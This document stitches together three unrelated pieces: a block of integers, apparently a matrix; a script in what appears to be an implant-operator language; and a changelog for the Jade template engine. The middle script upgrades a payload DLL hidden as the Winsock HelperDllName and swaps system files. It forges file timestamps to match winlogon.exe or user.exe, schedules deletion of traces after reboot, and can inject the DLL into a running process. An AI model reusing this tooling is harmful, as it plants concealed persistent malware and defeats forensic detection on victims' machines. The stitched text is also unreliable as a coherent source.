0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 24 37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 39 23 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 39 42 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 37 37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 18 89 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 98 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 24 63 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 61 99 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 20 47 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 49 23 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 10 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 63 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 42 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 47 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 81 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 69 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 47 48 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 69 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 19 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 41 71 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 28 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 85 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 90 43 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 78 22 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 47 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 11 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 34 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 49 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 41 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 12 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 35 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 20 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 19 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 30 76 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 49 55 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 94 47 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 83 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 59 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 44 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 79 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 9 21 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 27 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 22 21 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 5 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 20 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 36 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 46 33 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 79 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 50 69 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 6 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 32 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 46 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 42 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 39
{ "pile_set_name": "Github" }
@include "_File.dsi"; @include "_Paths.dsi"; @include "_Processes.dsi"; @include "_Versions.dsi"; @include "windows/_RegistryIncludes.dsi"; @echo off; @disablewow64 on; if ($argc != 3) { echo("* Invalid parmeters", ERROR); echo(); echo("Usage: $argv[0] <localFile> <procName>"); return false; } string $localFile = $argv[1]; string $procName = $argv[2]; string $arch; _GetArch($arch); string $regKey = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Winsock"; string $regKeyValue = "HelperDllName"; string $defaultPath = "\%\%SystemRoot\%\%\\System32"; # get install name and path string $payloadPath = $defaultPath; string $payloadName = "wshencrp.dll"; string $payloadLoadPath = $defaultPath; string $payloadLoadName = "wshencrt.dll"; string $payloadDeletePath = $defaultPath; string $payloadDeleteName = "wshencrr.dll"; if (!GetInput("PC DLL install path", $payloadPath, $payloadPath) || !GetInput("PC DLL install name", $payloadName, $payloadName) || !GetInput("PC DLL temporary (to load) path", $payloadLoadPath, $payloadLoadPath) || !GetInput("PC DLL temporary (to load) name", $payloadLoadName, $payloadLoadName) || !GetInput("PC DLL temporary (to delete) path", $payloadDeletePath, $payloadDeletePath) || !GetInput("PC DLL temporary (to delete) name", $payloadDeleteName, $payloadDeleteName)) { echo("* Failed to get PC names and paths", ERROR); return false; } # get the system path string $sysPath; if (!_GetSystemPath($sysPath)) { echo("* Failed to get system path", ERROR); return false; } # get the HelperDllName value string $origKeyValue; if (!_GetRegistryValue("L", $regKey, $regKeyValue, $origKeyValue) || !defined($origKeyValue)) { $origKeyValue = ""; } if ($origKeyValue != "$payloadPath\\$payloadName") { echo("* Failed to find $payloadPath\\$payloadName in $regKeyValue key", ERROR); return false; } # get the process id for injection int $id; if (prompt("Do you want to perform injection (for instant-grat)? Answer NO if using the same host process as old version!", false)) { if (StrLen($procName) > 0) { if (!_FindProcessOnList($procName, $id) || !defined($id)) { echo("* Failed to find $procName", ERROR); } } # make sure the user wants to keep going if we don't have a process if (!defined($id)) { echo("No process for injection", ERROR); if (!prompt("Continue?")) { return false; } } } string $usePath = $payloadPath; if ($usePath == $defaultPath) { $usePath = $sysPath; } string $useLoadPath = $payloadLoadPath; if ($useLoadPath == $defaultPath) { $useLoadPath = $sysPath; } string $useDeletePath = $payloadDeletePath; if ($useDeletePath == $defaultPath) { $useDeletePath = $sysPath; } # upload the new file echo "Uploading new PC"; if (!`put "$localFile" -name "$useLoadPath\\$payloadLoadName" -permanent`) { echo(" FAILED", ERROR); pause; return false; } echo(" FINISHED", GOOD); # move the old file echo "Moving old PC"; if (!`move "$usePath\\$payloadName" "$useDeletePath\\$payloadDeleteName"`) { echo(" FAILED", ERROR); echo "Performing recovery"; if (!`delete -file "$useLoadPath\\$payloadLoadName"`) { echo(" FAILED", ERROR); } else { echo(" RECOVERED", GOOD); } pause; return false; } echo(" FINISHED", GOOD); # copy the new file to it's final location echo "Copying new PC to permanent location"; if (!`copy "$useLoadPath\\$payloadLoadName" "$usePath\\$payloadName"`) { echo(" FAILED", ERROR); echo "Performing recovery"; if (!`move "$useDeletePath\\$payloadDeleteName" "$usePath\\$payloadName"` || !`delete -file "$useLoadPath\\$payloadLoadName"`) { echo(" FAILED", ERROR); } else { echo(" RECOVERED", GOOD); } pause; return false; } echo(" FINISHED", GOOD); string $matchName = "user.exe"; if ($arch == "x64") { # alternative match name for x64. $matchName = "winlogon.exe"; echo "Copying SysWOW64 helper DLL"; string $homonymousDll; $homonymousDll = "$sysPath\\$payloadName"; RegExSub("system32","SysWOW64",$homonymousDll); # First see if we're upgrading from a PC install that was aware of this bug: if(_FileExists($homonymousDll)) { echo(" DONE ALREADY (OK)", GOOD); } else { # In the normal case, the "orig" file will exist, use that (would be a copy of wshtcpip if PC installed). # Otherwise, fall back to wshtcpip.dll (someone else broke it, we'll fix it anyway). string $origSW64Dll; $origSW64Dll = $origKeyValue; @regex-global on; RegExSub("^.*\\\\", "", $origSW64Dll); @regex-global off; $origSW64Dll = "$sysPath\\$origSW64Dll"; RegExSub("system32","SysWOW64",$origSW64Dll); if(!_FileExists($origSW64Dll)) { # Upgrading from 2.2 and prior, this is actually the expected path, no need to warn here. $origSW64Dll = "$sysPath\\wshtcpip.dll"; RegExSub("system32","SysWOW64",$origSW64Dll); } if(!_FileExists($origSW64Dll)) { echo(" FAILED (no $origSW64Dll)", ERROR); pause; # continue... } else { if(!`copy $origSW64Dll $homonymousDll`) { echo(" FAILED (could not copy source)", ERROR); pause; # continue... } else { echo(" FINISHED", GOOD); echo "Matching SysWOW64 filetimes"; if (!`matchfiletimes -src "$origSW64Dll" -dst "$homonymousDll"`) { echo(" FAILED (times not matched)", ERROR); pause; # continue... } else { echo(" FINISHED", GOOD); } } } } } echo "Matching filetimes with $matchName"; if (!`matchfiletimes -src "$sysPath\\$matchName" -dst "$usePath\\$payloadName"` || !`matchfiletimes -src "$sysPath\\$matchName" -dst "$useLoadPath\\$payloadLoadName"` || !`matchfiletimes -src "$sysPath\\$matchName" -dst "$useDeletePath\\$payloadDeleteName"`) { echo(" FAILED", WARNING); pause; # continue... } else { echo(" FINISHED", GOOD); } # mark the temp files for deletion `delete -file "$useLoadPath\\$payloadLoadName" -afterreboot`; `delete -file "$useDeletePath\\$payloadDeleteName" -afterreboot`; if (defined($id)) { # inject the DLL echo "Injecting DLL"; if (!`injectdll -library $payloadLoadName -id $id`) { echo(" FAILED", ERROR); } else { echo(" INJECTED", GOOD); } } echo "Upgrade Finished"; echo "$regKeyValue : '$origKeyValue'"; pause; return true;
{ "pile_set_name": "Github" }
0.19.0 / 2011-12-02 ================== * Added block `append` / `prepend` support. Closes #355 * Added link in readme to jade-mode for Emacs * Added link to python implementation 0.18.0 / 2011-11-21 ================== * Changed: only ['script', 'style'] are text-only. Closes #398' 0.17.0 / 2011-11-10 ================== * jade.renderFile() is back! (for express 3.x) * Fixed `Object.keys()` failover bug 0.16.4 / 2011-10-24 ================== * Fixed a test due to reserved keyword * Fixed: commander 0.1.x dep for 0.5.x 0.16.3 / 2011-10-24 ================== * Added: allow leading space for conditional comments * Added quick implementation of a switch statement * Fixed parens in mixin args. Closes #380 * Fixed: include files with a .jade extension as jade files 0.16.2 / 2011-09-30 ================== * Fixed include regression. Closes #354 0.16.1 / 2011-09-29 ================== * Fixed unexpected `else` bug when compileDebug: false * Fixed attr state issue for balancing pairs. Closes #353 0.16.0 / 2011-09-26 ================== * Added `include` block support. Closes #303 * Added template inheritance via `block` and `extends`. Closes #242 * Added 'type="text/css"' to the style tags generated by filters. * Added 'uglifyjs' as an explicit devDependency. * Added -p, --path <path> flag to jade(1) * Added support for any arbitrary doctype * Added `jade.render(str[,options], fn)` back * Added first-class `while` support * Added first-class assignment support * Fixed runtime.js `Array.isArray()` polyfill. Closes #345 * Fixed: set .filename option in jade(1) when passing filenames * Fixed `Object.keys()` polyfill typo. Closes #331 * Fixed `include` error context * Renamed magic "index" to "$index". Closes #350 0.15.4 / 2011-09-05 ================== * Fixed script template html. Closes #316 * Revert "Fixed script() tag with trailing ".". Closes #314" 0.15.3 / 2011-08-30 ================== * Added Makefile example. Closes #312 * Fixed script() tag with trailing ".". Closes #314 0.15.2 / 2011-08-26 ================== * Fixed new conditional boundaries. Closes #307 0.15.1 / 2011-08-26 ================== * Fixed jade(1) support due to `res.render()` removal * Removed --watch support (use a makefile + watch...) 0.15.0 / 2011-08-26 ================== * Added `client` option to reference runtime helpers * Added `Array.isArray()` for runtime.js as well * Added `Object.keys()` for the client-side runtime * Added first-class `if`, `unless`, `else` and `else if` support * Added first-class `each` / `for` support * Added `make benchmark` for continuous-bench * Removed `inline` option, SS helpers are no longer inlined either * Removed `Parser#debug()` * Removed `jade.render()` and `jade.renderFile()` * Fixed runtime.js `escape()` bug causing window.escape to be used * Fixed a bunch of tests 0.14.2 / 2011-08-16 ================== * Added `include` support for non-jade files * Fixed code indentation when followed by newline(s). Closes #295 [reported by masylum] 0.14.1 / 2011-08-14 ================== * Added `colons` option for everyone stuck with ":". Closes #231 * Optimization: consecutive lines are merged in compiled js 0.14.0 / 2011-08-08 ================== * Added array iteration with index example. Closes #276 * Added _runtime.js_ * Added `compileDebug` option to enable lineno instrumentation * Added `inline` option to disable inlining of helpers (for client-side) 0.13.0 / 2011-07-13 ================== * Added `mixin` support * Added `include` support * Added array support for the class attribute 0.12.4 / 2011-06-23 ================== * Fixed filter indentation bug. Closes #243 0.12.3 / 2011-06-21 ================== * Fixed empty strings support. Closes #223 * Fixed conditional comments documentation. Closes #245 0.12.2 / 2011-06-16 ================== * Fixed `make test` * Fixed block comments 0.12.1 / 2011-06-04 ================== * Fixed attribute interpolation with double quotes. Fixes #232 [topaxi] 0.12.0 / 2011-06-03 ================== * Added `doctype` as alias of `!!!` * Added; doctype value is now case-insensitive * Added attribute interpolation support * Fixed; retain original indentation spaces in text blocks 0.11.1 / 2011-06-01 ================== * Fixed text block indentation [Laszlo Bacsi] * Changed; utilizing devDependencies * Fixed try/catch issue with renderFile(). Closes #227 * Removed attribute ":" support, use "=" (option for ':' coming soon) 0.11.0 / 2011-05-14 ================== * Added `self` object to avoid poor `with(){}` performance [masylum] * Added `doctype` option [Jeremy Larkin] 0.10.7 / 2011-05-04 ================== * expose Parser 0.10.6 / 2011-04-29 ================== * Fixed CS `Object.keys()` [reported by robholland] 